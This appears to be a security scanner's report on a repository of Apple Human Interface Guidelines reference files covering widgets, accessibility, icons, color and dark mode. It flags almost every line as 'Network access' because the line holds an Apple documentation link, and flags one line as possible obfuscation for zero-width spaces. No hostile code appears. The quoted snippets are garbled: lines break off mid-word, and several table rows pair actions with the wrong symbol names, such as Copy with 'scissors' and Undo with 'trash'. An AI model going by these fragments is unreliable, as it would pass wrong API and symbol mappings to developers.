**Encourage the system to display or elevate the position of your watchOS widget in the Smart Stack.** Relevancy information helps the system show your widget when people need it most. Relevance can be location-based or specific to ongoing - Network accessline 422
## [Specifications](https://developer.apple.com/design/human-interface-guidelines/widgets#Specifications) - Network accessline 426
### [iOS dimensions](https://developer.apple.com/design/human-interface-guidelines/widgets#iOS-dimensions) - Network accessline 441
### [iPadOS dimensions](https://developer.apple.com/design/human-interface-guidelines/widgets#iPadOS-dimensions) - Network accessline 468
### [visionOS dimensions](https://developer.apple.com/design/human-interface-guidelines/widgets#visionOS-dimensions) - Network accessline 478
### [watchOS dimensions](https://developer.apple.com/design/human-interface-guidelines/widgets#watchOS-dimensions) - Network accessline 488
## [Resources](https://developer.apple.com/design/human-interface-guidelines/widgets#Resources) - Network accessline 490
#### [Related](https://developer.apple.com/design/human-interface-guidelines/widgets#Related) - Network accessline 492
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 494
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/widgets#Developer-documentation) - Network accessline 496
[WidgetKit](https://developer.apple.com/documentation/WidgetKit) - Network accessline 498
[Developing a WidgetKit strategy](https://developer.apple.com/documentation/WidgetKit/Developing-a-WidgetKit-strategy) — WidgetKit - Network accessline 500
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/widgets#Videos) - Network accessline 502
[ What’s new in widgets ](https://developer.apple.com/videos/play/wwdc2025/278) - Network accessline 504
[ Design widgets for visionOS ](https://developer.apple.com/videos/play/wwdc2025/255 - Network accessline 506
[ Bring widgets to life ](https://developer.apple.com/videos/play/wwdc2023/10028) - Network accessline 508
## [Change log](https://developer.apple.com/design/human-interface-guidelines/widgets#Change-log)
skills/hig-foundations/SKILL.md
- Network accessline 100
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-foundations/references/accessibility.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Accessibility | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/accessibility - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/accessibility - Network accessline 9
 to highlight accessibility issues with your interface and to u - Network accessline 24
## [Vision](https://developer.apple.com/design/human-interface-guidelines/accessibility#Vision) - Network accessline 26
Thi - Network accessline 46
Con - Network accessline 48
**Strive to meet color contrast minimum standards.** To ensure all information in your app is legible, it’s important that there’s enough contrast between foreground text and icons and background colors. Two popular standards of measure for - Network accessline 56
If your app doesn’t provide this minimum contrast by default, ensure it at least provides a higher contrast color scheme when the system setting Increase Contrast is turned on. If your app supports [Dark Mode](https://developer.apple.com/de - Network accessline 58
A b - Network accessline 60
 - Network accessline 62
A but - Network accessline 64
 - Network accessline 66
**Prefer system-defined colors.** These colors have their own accessible variants that automatically adapt when people adjust their color preferences, such as enabling Increase Contrast or toggling between the light and dark appearances. Fo - Network accessline 68
For someone with red-green color - Network accessline 76
 - Network accessline 78
 - Network accessline 82
**Describe your app’s interface and content for VoiceOver.** VoiceOver is a screen reader that lets people experience your app’s interface without needing to see the screen. For more guidance, see [VoiceOver](https://developer.apple.com/des - Network accessline 84
## [Hearing](https://developer.apple.com/design/human-interface-guidelines/accessibility#Hearing) - Network accessline 86
. - Network accessline 105
**Use haptics in addition to audio cues.** If your interface conveys information through audio cues — such as a success chime, error sound, or game feedback — consider pairing that sound with matching haptics for people who can’t perceive t - Network accessline 107
 - Network accessline 111
## [Mobility](https://developer.apple.com/design/human-interface-guidelines/accessibility#Mobility) - Network accessline 113
 - Network accessline 133
 - Network accessline 141
Edit and tap to delete - Network accessline 143
Swip - Network accessline 145
**Let people use Voice Control to give guidance and enter information verbally.** With Voice Control, people can interact with their devices entirely by speaking commands. They can perform gestures, interact with screen elements, dictate an - Network accessline 147
**Integrate with Siri and Shortcuts to let people perform tasks using voice alone.** When your app supports Siri and Shortcuts, people can automate the important and repetitive tasks they perform regularly. They can initiate these tasks fro - Network accessline 149
**Support mobility-related assistive technologies.** Features like [VoiceOver](https://developer.apple.com/design/human-interface-guidelines/voiceover), AssistiveTouch, Full Keyboard Access, Pointer Control, and [Switch Control](https://dev - Network accessline 151
## [Speech](https://developer.apple.com/design/human-interface-guidelines/accessibility#Speech) - Network accessline 153
 - Network accessline 163
. - Network accessline 211
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/accessibility#Platform-considerations) - Network accessline 215
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/accessibility#visionOS) - Network accessline 237
 and [Design considerations for vision and motion](https://developer.apple.com/videos/play/wwdc2023/10078). - Network accessline 256
## [Resources](https://developer.apple.com/design/human-interface-guidelines/accessibility#Resources) - Network accessline 258
#### [Related](https://developer.apple.com/design/human-interface-guidelines/accessibility#Related) - Network accessline 260
[Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion) - Network accessline 262
[Typography](https://developer.apple.com/design/human-interface-guidelines/typography) - Network accessline 264
[VoiceOver](https://developer.apple.com/design/human-interface-guidelines/voiceover) - Network accessline 266
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/accessibility#Developer-documentation) - Network accessline 268
[Building accessible apps](https://developer.apple.com/accessibility/) - Network accessline 270
[Accessibility framework](https://developer.apple.com/documentation/Accessibility) - Network accessline 272
[Overview of Accessibility Nutrition Labels](https://devcms.apple.com/help/app-store-connect/manage-app-accessibility/overview-of-accessibility-nutrition-labels) - Network accessline 274
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/accessibility#Videos) - Network accessline 276
[ Principles of inclusive app design ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 278
[ Evaluate your app for Accessibility Nutrition Labels ](https://developer.apple.com - Network accessline 280
[ Catch up on accessibility in SwiftUI ](https://developer.apple.com/videos/play/wwd - Network accessline 282
## [Change log](https://developer.apple.com/design/human-interface-guidelines/accessibility#Change-log)
skills/hig-foundations/references/app-icons.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "App icons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/app-icons - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/app-icons - Network accessline 9
 - Network accessline 49
You use your favorite design tool to craft the individual foreground layers of your app icon. For iOS, iPadOS, macOS, and watchOS icons, you then import your icon layers into Icon Composer, a design tool included with Xcode and available fr - Network accessline 51
Icon Composer - Network accessline 53
For tvOS and visionOS app icons, you add your icon layers directly to an image stack in Xcode to form your complete icon. For developer guidance, see [Configuring your app icon using an asset catalog](https://developer.apple.com/documentati - Network accessline 63
## [Icon shape](https://developer.apple.com/design/human-interface-guidelines/app-icons#Icon-shape) - Network accessline 73
 - Network accessline 87
The Podcasts app icon - Network accessline 89
The Home app icon - Network accessline 95
 - Network accessline 99
 - Network accessline 109
## [Visual effects](https://developer.apple.com/design/human-interface-guidelines/app-icons#Visual-effects) - Network accessline 115
## [Appearances](https://developer.apple.com/design/human-interface-guidelines/app-icons#Appearances) - Network accessline 119
 - Network accessline 137
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/app-icons#tvOS) - Network accessline 141
 - Network accessline 147
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/app-icons#watchOS) - Network accessline 151
## [Specifications](https://developer.apple.com/design/human-interface-guidelines/app-icons#Specifications) - Network accessline 175
## [Resources](https://developer.apple.com/design/human-interface-guidelines/app-icons#Resources) - Network accessline 177
#### [Related](https://developer.apple.com/design/human-interface-guidelines/app-icons#Related) - Network accessline 179
[Apple Design Resources](https://developer.apple.com/design/resources/) - Network accessline 181
[Icon Composer](https://developer.apple.com/icon-composer/) - Network accessline 183
[Icons](https://developer.apple.com/design/human-interface-guidelines/icons) - Network accessline 185
[Images](https://developer.apple.com/design/human-interface-guidelines/images) - Network accessline 187
[Dark Mode](https://developer.apple.com/design/human-interface-guidelines/dark-mode) - Network accessline 189
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/app-icons#Developer-documentation) - Network accessline 191
[Creating your app icon using Icon Composer](https://developer.apple.com/documentation/Xcode/creating-your-app-icon-using-icon-composer) - Network accessline 193
[Configuring your app icon using an asset catalog](https://developer.apple.com/documentation/Xcode/configuring-your-app-icon) - Network accessline 195
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/app-icons#Videos) - Network accessline 197
[ Say hello to the new look of app icons ](https://developer.apple.com/videos/play/w - Network accessline 199
[ Create icons with Icon Composer ](https://developer.apple.com/videos/play/wwdc202 - Network accessline 201
## [Change log](https://developer.apple.com/design/human-interface-guidelines/app-icons#Change-log)
skills/hig-foundations/references/branding.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Branding | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/branding - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/branding - Network accessline 9
 and throughout your experience, you have several opportunities to highlight it within the App Store. For guidan - Network accessline 13
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/branding#Best-practices) - Network accessline 17
**Consider choosing an accent color.** On most platforms, you can specify a color that the system applies to app elements like interface icons, buttons, and text. In macOS, people can also choose their own accent color that the system can u - Network accessline 19
**Consider using a custom font.** If your brand is strongly associated with a specific font, be sure that it’s legible at all sizes and supports accessibility features like bold text and larger type. It can work well to use a custom font fo - Network accessline 27
**Avoid using a launch screen as a branding opportunity.** Some platforms use a launch screen to minimize the startup experience, while simultaneously giving the app or game a little time to load resources (for guidance, see [Launch screens - Network accessline 29
**Follow Apple’s trademark guidelines.** Apple trademarks must not appear in your app name or images. See [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademark/appletmlist.html) and [Guidelines for Using Apple T - Network accessline 31
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/branding#Platform-considerations) - Network accessline 35
## [Resources](https://developer.apple.com/design/human-interface-guidelines/branding#Resources) - Network accessline 37
#### [Related](https://developer.apple.com/design/human-interface-guidelines/branding#Related) - Network accessline 39
[Marketing resources and identity guidelines](https://developer.apple.com/app-store/marketing/guidelines/) - Network accessline 41
[Show more with app previews](https://developer.apple.com/app-store/app-previews/) - Network accessline 43
[Color](https://developer.apple.com/design/human-interface-guidelines/color)
skills/hig-foundations/references/color.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Color | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/color - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/color - Network accessline 9
 - Network accessline 19
**Make sure all your app’s colors work well in light, dark, and increased contrast contexts.** iOS, iPadOS, macOS, and tvOS offer both light and [dark](https://developer.apple.com/design/human-interface-guidelines/dark-mode) appearance sett - Network accessline 21
 - Network accessline 49
**Avoid using colors that make it hard to perceive content in your app.** For example, insufficient contrast can cause icons and text to blend with the background and make content hard to read, and people who are color blind might not be ab - Network accessline 53
 - Network accessline 59
**Avoid hard-coding system color values in your app.** Documented color values are for your reference during the app design process. The actual color values may fluctuate from release to release, based on a variety of environmental variable - Network accessline 63
**Avoid redefining the semantic meanings of dynamic system colors.** To ensure a consistent experience and ensure your interface looks great when the appearance of the platform changes, use dynamic system colors as intended. For example, do - Network accessline 65
## [Liquid Glass color](https://developer.apple.com/design/human-interface-guidelines/color#Liquid-Glass-color) - Network accessline 67
By default, [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass) has no inherent color, and instead takes on colors from the content directly behind it. You can apply color to some Liquid Glas - Network accessline 69
Contro - Network accessline 71
 - Network accessline 83
 - Network accessline 91
## [Color management](https://developer.apple.com/design/human-interface-guidelines/color#Color-management) - Network accessline 95
 - Network accessline 107
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/color#iOS-iPadOS) - Network accessline 109
iOS defines two sets of dynamic background colors — _system_ and _grouped_ — each of which contains primary, secondary, and tertiary variants that help you convey a hierarchy of information. In general, use the grouped background colors ([` - Network accessline 124
Color| Use for…| UIKit API ---|---|--- Label| A text label that contains primary content.| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label) - Network accessline 125
---|---|--- Label| A text label that contains primary content.| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label) Secondary label| A text label that contains secondary content.| [`secondaryLabel`](https://develope - Network accessline 126
Label| A text label that contains primary content.| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label) - Network accessline 127
Secondary label| A text label that contains secondary content.| [`secondaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/secondaryLabel) - Network accessline 128
Tertiary label| A text label that contains tertiary content.| [`tertiaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/tertiaryLabel) - Network accessline 129
Quaternary label| A text label that contains quaternary content.| [`quaternaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/quaternaryLabel) - Network accessline 130
Placeholder text| Placeholder text in controls or text views.| [`placeholderText`](https://developer.apple.com/documentation/UIKit/UIColor/placeholderText) - Network accessline 131
Separator| A separator that allows some underlying content to be visible.| [`separator`](https://developer.apple.com/documentation/UIKit/UIColor/separator) - Network accessline 132
Opaque separator| A separator that doesn’t allow any underlying content to be visible.| [`opaqueSeparator`](https://developer.apple.com/documentation/UIKit/UIColor/opaqueSeparator) - Network accessline 133
Link| Text that functions as a link.| [`link`](https://developer.apple.com/documentation/UIKit/UIColor/link) - Network accessline 135
### [macOS](https://developer.apple.com/design/human-interface-guidelines/color#macOS) - Network accessline 139
Color| Use for…| AppKit API ---|---|--- Alternate selected control text color| The text on a selected surface in a list or table.| [`alternateSelectedControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/alternateS - Network accessline 140
---|---|--- Alternate selected control text color| The text on a selected surface in a list or table.| [`alternateSelectedControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/alternateSelectedControlTextColor) Alt - Network accessline 141
Alternate selected control text color| The text on a selected surface in a list or table.| [`alternateSelectedControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/alternateSelectedControlTextColor) - Network accessline 142
Alternating content background colors| The backgrounds of alternating rows or columns in a list, table, or collection view.| [`alternatingContentBackgroundColors`](https://developer.apple.com/documentation/AppKit/NSColor/alternatingContentB - Network accessline 143
Control accent| The accent color people select in System Settings.| [`controlAccentColor`](https://developer.apple.com/documentation/AppKit/NSColor/controlAccentColor) - Network accessline 144
Control background color| The background of a large interface element, such as a browser or table.| [`controlBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/controlBackgroundColor) - Network accessline 145
Control color| The surface of a control.| [`controlColor`](https://developer.apple.com/documentation/AppKit/NSColor/controlColor) - Network accessline 146
Control text color| The text of a control that is available.| [`controlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/controlTextColor) - Network accessline 147
Current control tint| The system-defined control tint.| [`currentControlTint`](https://developer.apple.com/documentation/AppKit/NSColor/currentControlTint) - Network accessline 148
Unavailable control text color| The text of a control that’s unavailable.| [`disabledControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/disabledControlTextColor) - Network accessline 149
Find highlight color| The color of a find indicator.| [`findHighlightColor`](https://developer.apple.com/documentation/AppKit/NSColor/findHighlightColor) - Network accessline 150
Grid color| The gridlines of an interface element, such as a table.| [`gridColor`](https://developer.apple.com/documentation/AppKit/NSColor/gridColor) - Network accessline 151
Header text color| The text of a header cell in a table.| [`headerTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/headerTextColor) - Network accessline 152
Highlight color| The virtual light source onscreen.| [`highlightColor`](https://developer.apple.com/documentation/AppKit/NSColor/highlightColor) - Network accessline 153
Keyboard focus indicator color| The ring that appears around the currently focused control when using the keyboard for interface navigation.| [`keyboardFocusIndicatorColor`](https://developer.apple.com/documentation/AppKit/NSColor/keyboardF - Network accessline 154
Label color| The text of a label containing primary content.| [`labelColor`](https://developer.apple.com/documentation/AppKit/NSColor/labelColor) - Network accessline 155
Link color| A link to other content.| [`linkColor`](https://developer.apple.com/documentation/AppKit/NSColor/linkColor) - Network accessline 156
Placeholder text color| A placeholder string in a control or text view.| [`placeholderTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/placeholderTextColor) - Network accessline 157
Quaternary label color| The text of a label of lesser importance than a tertiary label, such as watermark text.| [`quaternaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/quaternaryLabelColor) - Network accessline 158
Secondary label color| The text of a label of lesser importance than a primary label, such as a label used to represent a subheading or additional information.| [`secondaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColo - Network accessline 159
Selected content background color| The background for selected content in a key window or view.| [`selectedContentBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedContentBackgroundColor) - Network accessline 160
Selected control color| The surface of a selected control.| [`selectedControlColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedControlColor) - Network accessline 161
Selected control text color| The text of a selected control.| [`selectedControlTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedControlTextColor) - Network accessline 162
Selected menu item text color| The text of a selected menu.| [`selectedMenuItemTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedMenuItemTextColor) - Network accessline 163
Selected text background color| The background of selected text.| [`selectedTextBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedTextBackgroundColor) - Network accessline 164
Selected text color| The color for selected text.| [`selectedTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/selectedTextColor) - Network accessline 165
Separator color| A separator between different sections of content.| [`separatorColor`](https://developer.apple.com/documentation/AppKit/NSColor/separatorColor) - Network accessline 166
Shadow color| The virtual shadow cast by a raised object onscreen.| [`shadowColor`](https://developer.apple.com/documentation/AppKit/NSColor/shadowColor) - Network accessline 167
Tertiary label color| The text of a label of lesser importance than a secondary label.| [`tertiaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/tertiaryLabelColor) - Network accessline 168
Text background color| The background color behind text.| [`textBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/textBackgroundColor) - Network accessline 169
Text color| The text in a document.| [`textColor`](https://developer.apple.com/documentation/AppKit/NSColor/textColor) - Network accessline 170
Under page background color| The background behind a document’s content.| [`underPageBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/underPageBackgroundColor) - Network accessline 171
Unemphasized selected content background color| The selected content in a non-key window or view.| [`unemphasizedSelectedContentBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/unemphasizedSelectedContentBackground - Network accessline 172
Unemphasized selected text background color| A background for selected text in a non-key window or view.| [`unemphasizedSelectedTextBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/unemphasizedSelectedTextBackgroun - Network accessline 173
Unemphasized selected text color| Selected text in a non-key window or view.| [`unemphasizedSelectedTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/unemphasizedSelectedTextColor) - Network accessline 174
Window background color| The background of a window.| [`windowBackgroundColor`](https://developer.apple.com/documentation/AppKit/NSColor/windowBackgroundColor) - Network accessline 175
Window frame text color| The text in the window’s title bar area.| [`windowFrameTextColor`](https://developer.apple.com/documentation/AppKit/NSColor/windowFrameTextColor) - Network accessline 177
#### [App accent colors](https://developer.apple.com/design/human-interface-guidelines/color#App-accent-colors) - Network accessline 181
 - Network accessline 183
If people set their accent color setting to a value other than multicolor, the system applies their chosen color to the relevant items throughout your app, replacing your accent color. The exception is a sidebar icon that uses a fixed color - Network accessline 185
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/color#tvOS) - Network accessline 191
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/color#visionOS) - Network accessline 193
**Use color sparingly, especially on glass.** Standard visionOS windows typically use the system-defined glass [material](https://developer.apple.com/design/human-interface-guidelines/materials), which lets light and objects from people’s p - Network accessline 199
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/color#watchOS) - Network accessline 203
**Recognize that people might prefer graphic complications to use tinted mode instead of full color.** The system can use a single color that’s based on the wearer’s selected color in a graphic complication’s images, gauges, and text. For g - Network accessline 205
## [Specifications](https://developer.apple.com/design/human-interface-guidelines/color#Specifications) - Network accessline 207
### [System colors](https://developer.apple.com/design/human-interface-guidelines/color#System-colors) - Network accessline 209
Name| SwiftUI API| Default (light)| Default (dark)| Increased contrast (light)| Increased contrast (dark) ---|---|---|---|---|--- Red| [`red`](https://developer.apple.com/documentation/SwiftUI/Color/red)| | | ! - Network accessline 211
Red| [`red`](https://developer.apple.com/documentation/SwiftUI/Color/red)| | | | | | | | | | | | | | | | | | | | | | | |  - Network accessline 228
Name| UIKit API| Default (light)| Default (dark)| Increased contrast (light)| Increased contrast (dark) ---|---|---|---|---|--- Gray| [`systemGray`](https://developer.apple.com/documentation/UIKit/UIColor/systemGray)| | | | | | | | | | | | | | . - Network accessline 239
## [Resources](https://developer.apple.com/design/human-interface-guidelines/color#Resources) - Network accessline 241
#### [Related](https://developer.apple.com/design/human-interface-guidelines/color#Related) - Network accessline 243
[Dark Mode](https://developer.apple.com/design/human-interface-guidelines/dark-mode) - Network accessline 245
[Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility) - Network accessline 247
[Materials](https://developer.apple.com/design/human-interface-guidelines/materials) - Network accessline 249
[Apple Design Resources](https://developer.apple.com/design/resources/) - Network accessline 251
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/color#Developer-documentation) - Network accessline 253
[`Color`](https://developer.apple.com/documentation/SwiftUI/Color) — SwiftUI - Network accessline 255
[`UIColor`](https://developer.apple.com/documentation/UIKit/UIColor) — UIKit - Network accessline 257
[Color](https://developer.apple.com/documentation/AppKit/color) — AppKit - Network accessline 259
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/color#Videos) - Network accessline 261
[ Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219) - Network accessline 263
## [Change log](https://developer.apple.com/design/human-interface-guidelines/color#Change-log)
skills/hig-foundations/references/dark-mode.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Dark Mode | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/dark-mode - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/dark-mode - Network accessline 9
 - Network accessline 19
**Test your content to make sure that it remains comfortably legible in both appearance modes.** For example, in Dark Mode with Increase Contrast and Reduce Transparency turned on (both separately and together), you may find places where da - Network accessline 23
 - Network accessline 29
The color palette in Dark Mode includes dimmer background colors and brighter foreground colors. It’s important to realize that these colors aren’t necessarily inversions of their light counterparts: while many colors are inverted, some are - Network accessline 31
**Embrace colors that adapt to the current appearance.** Semantic colors (like [`labelColor`](https://developer.apple.com/documentation/AppKit/NSColor/labelColor) and [`controlColor`](https://developer.apple.com/documentation/AppKit/NSColor - Network accessline 33
 - Network accessline 43
The system uses [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) (which automatically adapt to Dark Mode) and full-color images that are optimized for both the light and dark appearances. - Network accessline 45
**Use SF Symbols wherever possible.** Symbols work well in both appearance modes when you use dynamic colors to tint them or when you add vibrancy. For guidance, see [Color](https://developer.apple.com/design/human-interface-guidelines/colo - Network accessline 49
Icon in the light appearance with no border - Network accessline 51
 - Network accessline 67
Primary label in the light appear - Network accessline 69
Secondary label in the dark appe - Network accessline 73
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Platform-considerations) - Network accessline 77
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/dark-mode#iOS-iPadOS) - Network accessline 81
 - Network accessline 95
## [Resources](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Resources) - Network accessline 97
#### [Related](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Related) - Network accessline 99
[Color](https://developer.apple.com/design/human-interface-guidelines/color) - Network accessline 101
[Materials](https://developer.apple.com/design/human-interface-guidelines/materials) - Network accessline 103
[Typography](https://developer.apple.com/design/human-interface-guidelines/typography) - Network accessline 105
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Videos) - Network accessline 107
[ Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219) - Network accessline 109
[ Implementing Dark Mode on iOS ](https://developer.apple.com/videos/play/wwdc2019/214) - Network accessline 111
## [Change log](https://developer.apple.com/design/human-interface-guidelines/dark-mode#Change-log)
skills/hig-foundations/references/icons.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Icons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/icons - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/icons - Network accessline 9
, which can use rich visual det - Network accessline 13
You can design interface icons — also called _glyphs_ — or you can choose symbols from the SF Symbols app, using them as-is or customizing them to suit your needs. Both interface icons and symbols use black and clear colors to define their - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/icons#Best-practices) - Network accessline 21
 - Network accessline 59
For icons to represent common actions in [menus](https://developer.apple.com/design/human-interface-guidelines/menus), [toolbars](https://developer.apple.com/design/human-interface-guidelines/toolbars), [buttons](https://developer.apple.com - Network accessline 61
### [Editing](https://developer.apple.com/design/human-interface-guidelines/icons#Editing) - Network accessline 63
Action| Icon| Symbol name ---|---|--- Cut| | `scissors` - Network accessline 64
---|---|--- Cut| | `scissors` Copy| | `scissors` - Network accessline 66
Copy| | `document.on.document` - Network accessline 67
Paste| | `document.on.clipboard` - Network accessline 68
Done| | `checkmark ` - Network accessline 69
Save Cancel| | `xmark` Close - Network accessline 70
Cancel| | `xmark` - Network accessline 71
Close Delete| | `trash` Undo| | `trash` - Network accessline 73
Undo| | `arrow.uturn.backward` - Network accessline 74
Redo| | `arrow.uturn.forward` - Network accessline 75
Compose| | `square.and.pencil` - Network accessline 76
Duplicate| | `plus.square.on.square` - Network accessline 77
Rename| | `pencil` - Network accessline 78
Move to| | `folder` - Network accessline 79
Folder Attach| | `paperclip` Add| | `paperclip` - Network accessline 81
Add| | `plus` - Network accessline 82
More| | `ellipsis` - Network accessline 84
### [Selection](https://developer.apple.com/design/human-interface-guidelines/icons#Selection) - Network accessline 86
Action| Icon| Symbol name ---|---|--- Select| | `checkmark.circle` - Network accessline 87
---|---|--- Select| | `checkmark.circle` Deselect| | `checkmark.circle` - Network accessline 89
Deselect| | `xmark` - Network accessline 91
Delete| | `trash` - Network accessline 93
### [Text formatting](https://developer.apple.com/design/human-interface-guidelines/icons#Text-formatting) - Network accessline 95
Action| Icon| Symbol name ---|---|--- Superscript| | - Network accessline 97
Superscript| | `textformat.su - Network accessline 98
Subscript| | `textformat.subscr - Network accessline 99
Bold| | `bold` - Network accessline 100
Italic| | `italic` - Network accessline 101
Underline| | `underline` - Network accessline 102
<U+200B><U+200B>Align Left| | - Possible obfuscationline 102
<U+200B><U+200B>Align Left| | - Network accessline 103
Center| | `text.a - Network accessline 104
Justified| | `text.justify` - Network accessline 105
Align Right| | - Network accessline 107
### [Search](https://developer.apple.com/design/human-interface-guidelines/icons#Search) - Network accessline 109
Action| Icon| Symbol name ---|---|--- Search| | `magnifyingglass` - Network accessline 110
---|---|--- Search| | `magnifyingglass` Find| | `magnifyingglass` - Network accessline 112
Find| | `text.page.badge.magnifyingglass` - Network accessline 115
Find Previous Use Selection for Find Filter| | `line.3.horizont - Network accessline 119
### [Sharing and exporting](https://developer.apple.com/design/human-interface-guidelines/icons#Sharing-and-exporting) - Network accessline 121
Action| Icon| Symbol name ---|---|--- Share| | - Network accessline 122
---|---|--- Share| | `square.and.arrow.up` Expo - Network accessline 123
Share| | `square.and.arrow.up` - Network accessline 125
Print| | `printer` - Network accessline 127
### [Users and accounts](https://developer.apple.com/design/human-interface-guidelines/icons#Users-and-accounts) - Network accessline 129
Action| Icon| Symbol name ---|---|--- Account| | - Network accessline 135
### [Ratings](https://developer.apple.com/design/human-interface-guidelines/icons#Ratings) - Network accessline 137
Action| Icon| Symbol name ---|---|--- Dislike| | `hand.thu - Network accessline 138
---|---|--- Dislike| | `hand.thumbsdown` Like| | `hand.thumbsdown` - Network accessline 140
Like| | `hand.thumbsup` - Network accessline 142
### [Layer ordering](https://developer.apple.com/design/human-interface-guidelines/icons#Layer-ordering) - Network accessline 144
Action| Icon| Symbol name ---|---|--- Bring to Front|  - Network accessline 153
Action| Icon| Symbol name ---|---|--- Alarm| | `alarm` - Network accessline 154
---|---|--- Alarm| | `alarm` Archive| | `alarm` - Network accessline 156
Archive| | `archivebox` - Network accessline 157
Calendar| | `calendar` - Network accessline 159
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/icons#Platform-considerations) - Network accessline 163
### [macOS](https://developer.apple.com/design/human-interface-guidelines/icons#macOS) - Network accessline 165
#### [Document icons](https://developer.apple.com/design/human-interface-guidelines/icons#Document-icons) - Network accessline 171
 - Network accessline 175
 - Network accessline 177
 - Network accessline 179
 - Network accessline 183
Center image - Network accessline 187
Text - Network accessline 189
macOS composite - Network accessline 191
[Apple Design Resources](https://developer.apple.com/design/resources/#macos-apps) provides a template you can use to create a custom background fill and center image for a document icon. As you use this template, follow the guidelines belo - Network accessline 197
 - Network accessline 199
 - Network accessline 203
The 16x16 px - Network accessline 207
The 16x16 px @1x icon has n - Network accessline 239
 - Network accessline 243
 - Network accessline 245
## [Resources](https://developer.apple.com/design/human-interface-guidelines/icons#Resources) - Network accessline 247
#### [Related](https://developer.apple.com/design/human-interface-guidelines/icons#Related) - Network accessline 249
[App icons](https://developer.apple.com/design/human-interface-guidelines/app-icons) - Network accessline 251
[SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) - Network accessline 253
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/icons#Videos) - Network accessline 255
[ Designing Glyphs ](https://developer.apple.com/videos/play/wwdc2017/823) - Network accessline 257
## [Change log](https://developer.apple.com/design/human-interface-guidelines/icons#Change-log)
